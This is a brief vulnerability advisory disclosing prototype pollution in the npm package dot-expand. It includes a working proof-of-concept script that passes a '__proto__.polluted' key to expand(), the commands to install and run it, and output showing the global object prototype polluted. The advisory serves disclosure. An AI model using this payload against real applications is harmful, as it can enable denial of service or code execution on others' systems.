vulnerability prototype pollution
severity 7.3
language javascript
registry npm


dot-expand is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const { expand } = require('dot-expand')

console.log('Before: ', {}.polluted)
expand({'__proto__.polluted': true})
console.log('After: ', {}.polluted)
  1. Execute the following commands in the terminal:
npm i dot-expand # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true


Prototype Pollution leads to Information Disclosure/DoS/RCE.